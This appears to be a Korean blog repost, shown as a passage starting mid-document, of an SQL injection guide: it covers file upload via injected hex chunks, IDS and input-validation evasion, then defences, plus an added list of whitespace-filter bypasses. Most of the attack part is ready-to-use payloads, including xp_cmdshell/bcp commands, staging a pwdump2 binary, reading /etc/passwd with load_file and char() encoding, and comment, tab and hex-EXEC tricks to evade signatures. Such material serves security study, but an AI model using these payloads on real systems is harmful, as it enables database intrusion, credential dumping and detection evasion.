▪ '; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor -PPass123' --


▪ SQL Injection 통한 파일 업로드

만약 DB서버가 인터넷 연결이 되지 않더라도, 여전히 파일은 업로드 될 수 있다. 그러나 파일은 반드시 16진수 그리고 Query 문자의 일부로 보내어 져야만 한다. 파일은 반드시 각 4000 byte로 나누어 져야 한다.


) 간단한 SQL Injection 파일 업로드

Step 1. 먼저 원격에서 hex를 binary로 변환 해줄 프로시저가 injection되어야 한다.

Step 2. 다음 binary를 hex 조각으로 Injection 해야 한다.


' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000…
← 8000개의  hex 문자(4000byte) →…0000000000000000000
' exec master..sp_hex2bin @hex, @bin output ; insert master..pwdump2 select @bin --



Step 3. binary를 연결시키고, 파일을 디스크에 저장 할 수 있다



3 회피 기술


3.1 개요.

입력 값 검증 우회 그리고 IDS 우회 기술은 매우 비슷하다. Snort 기반의 SQL Injection 탐지는 부분적으로 가능하다. 그러나 이것은 “sinatures”에 의존한다. ”signatures”은 쉽게 피할 수 있다. 입력 값 검증, IDS 탐지 그리고 견고한 DB, OS 설정은 반드시 같이 사용 되어져야 한다.


3.2 IDS “signature” 우회


1) ‘OR 1=1 “signature”우회하기

 아래와 같은 문자를 삽입해서 우회 할 수 있다.

▪ ' OR 'unusual' = 'unusual'

▪ ' OR 'something' = 'some'+'thing'

▪ ' OR 'text' = N'text'

▪ ' OR 'something' like 'some%'

▪ ' OR 2 > 1

▪ ' OR 'text' > 't'

▪ ' OR 'whatever' IN ('whatever')

▪ ' OR 2 BETWEEN 1 AND 3











3.3 입력 값 검증 우회 하기

▪ PHP addslashes() 함수를 사용하는 사람은 문자열을 벗어 날수 있다.

single quote (')

double quote (")

backslash (\)

NUL (the NULL byte)







▪ 숫자 필드에서 위의 문자로 대체 함으로써 쉽게 우회 가능하다.


3.4 회피와 우회


i. 아래의 매개변수 인코딩 방법으로 IDS, 입력 값 검증을 우회 할 수 있다.

▪ URL encoding

▪ Unicode/UTF-8

▪ Hex enconding

▪ char() function







ii. MySQL 입력 값 검증은 Char()를 사용함으로써 우회 할 수 있다.

▪  인용 부호를 제외한 Inject  (string = "%"):

' or username like char(37);

▪ 인용 부호를 제외한 Inject (string = "root"):

' union select * from users where login = char(114,111,111,116);

▪ Load files을 이용한 unions 사용 (string = "/etc/passwd"):

' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

▪ 존재하는 파일을 체크(string = "n.ext"):

' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));


iii. 공백을 이용한 IDS Sinature 우회

▪ UNION SELECT Signature와 UNION[탭]SELECT signature은 다르게 인식된다

▪ 탭, 캐리지 리턴, 라인 피드, 공백이 주로 이용 된다.

▪ 몇몇 IDS 는 공백처리를 무시하므로 공백을 생략하는 것이 좋은 방법이 될 수도 있다.

'OR'1'='1' (공백 없이) 은 에러 없이 처리 되어 진다.


iv. 주석 처리를 이용한 IDS Signature 회피

▪  /* … */ 은 SQL99에서 여러 줄 을 주석 처리 할 때 사용되는 기호 이다


▪ '/**/OR/**/1/**/=/**/1

▪ 여러 개의 필드에 걸친 Injection을 허용한다

USERNAME:  ' or 1/*

PASSWORD:  */ =1 










v. 스트링 연결자를 이용한 IDS Signature 우회 

▪ 아래와 같이 텍스트 연결 할 수 있고, 특정한 DB 명령을 사용 할 수 있다.

▪ My SQL


▪ Oracle



'; EXEC ('SEL' + 'ECT US' + 'ER')










vi. 변수를 이용하여 IDS, 입력 값 검증 우회 하기

▪ 변수를 이용

; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER');

EXEC (@x)


▪ 헥사를 이용

; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e; EXEC (@x)

위의 명령어는 (‘)를 사용하지 않았다.













4 SQL Injection 대응 방안

4.1 개요

간단한 방법으로 입력 값 검증은 가장 중요한 부분 중에 하나 이다. 당신은 반드시 입력 값 검증을 모든 새로운 애플리케이션에 실시해야 한다. 그리고 당신은 존재하는 코드와 웹사이트를 조사해 봐야 한다. 추가적으로 서버를 견고하게 운영해야 한다. 데이터 베이스의 데이터 접근을 저장된 프로시저를 통하여 접근하고, 저장된 프로시저를 사용할 때 매개변수화 된 API를 이용하라. 모든 입력 값 검증은 일반적인 루틴을 이용하고, 최소한의 권한을 DB 사용자 에게 적용하라.

1) 입력 값 검증

각 필드를 위한 데이터 타입의 정의 되고, 정의된 타입만 허용 되어야 한다. 그리고 입력된 값의 검증을 위해서 필터를 사용해야 한다. 알려진 Injection 문자열에 대한 필터는 철저히 구현 되여야 한다. 아래와 같은 문자열은 반드시 제거 되어야 한다.

) “"select", "insert", "update", "shutdown", "delete", "drop", "--", "'"

2) 서버를 견고하게 운영하기

1. DB 최소권한의 유저로 운영하라.

2. 사용하지 않는 저장된 프로시저와 기능들은 제거하거나 관리자에게 제한된 접근 권한을 주어라.

3. 퍼미션을 변경하고, 공개된 시스템 객체에 접근을 제거 하라.

4. 모든 사용자 계정의 패스워드를 강화 시켜라

5. 미리 승인된 서버의 링크를 제거 하라.

6. 사용하지 않는 네트워크 프로토콜을 제거하라.

7. 신뢰할 수 있는 네트워크,웹 서버, 백업 서버만 접근을 허용하라.


4.2 탐지 및 제한시키기

SQL Injection 시도에 대한 탐지 원한다면, SQL Injection 시도를 로그에 남기고, 이 메일로 경고장을 보내고, IP차단 하고, 올바르지 않은 에러 메시지를 보내도록 설정하라. 이것들은 검증 스크립트에 코드와 되어야 한다.


4.3 결론

    SQL Injection 은 매혹적이고, 아주 위험한 취약점이다. 모든 프로그램 언어 그리고 SQL DB는 잠재적인 취약점을 가지고 있다. 보호 하기 위해서는 강력한 디자인, 정확한 입력 값 검증, 견고하게 서버를 운영 해야 한다.


 참조자료 및 문서

[1] Advanced SQL Injection, (

출처 :

  1. 샤에테 2017.03.11 01:11

    사례를 기대해서 왔더니 공격방법이 나와있네요 ㅜㅠ

출처 -

SQL Injection 공격시 공백 문자 필터링시 우회 방법


1. Tab : %09

  - no=1%09or%09id='admin'


2. Line Feed (\n): %0a

  - no=1%0aor%0aid='admin'


3. Carrage Return(\r) : %0d

  - no=1%0dor%0did='admin'


4. 주석 : /**/

  - no=1/**/or/**/id='admin'


5. 괄호 : ()

  - no=(1)or(id='admin')


6. 더하기 : +

  - no=1+or+id='admin'


게시판에서 사용되는 웹 에디터는 HTML 문서를 쉽게 작성 및 편집할 수 있도록 도와주고, 문서안에 이미지나 멀티미디어 파일을 첨부할 수 있는데 확장자 검증이 제대로 이뤄지지 않아 악의적인 파일(?)을 업로드하여 시스템의 권한을 획득할 수 있다.

주로 사용되는 웹에디터의 종류는 다음과 같으며 취약한 버전을 사용하는 경우 파일 업로드 취약점에 노출되므로 취약점이 제거되거나 패치된 최신버전을 사용해야 한다.







Seditor (Smart Editor)






+ Recent posts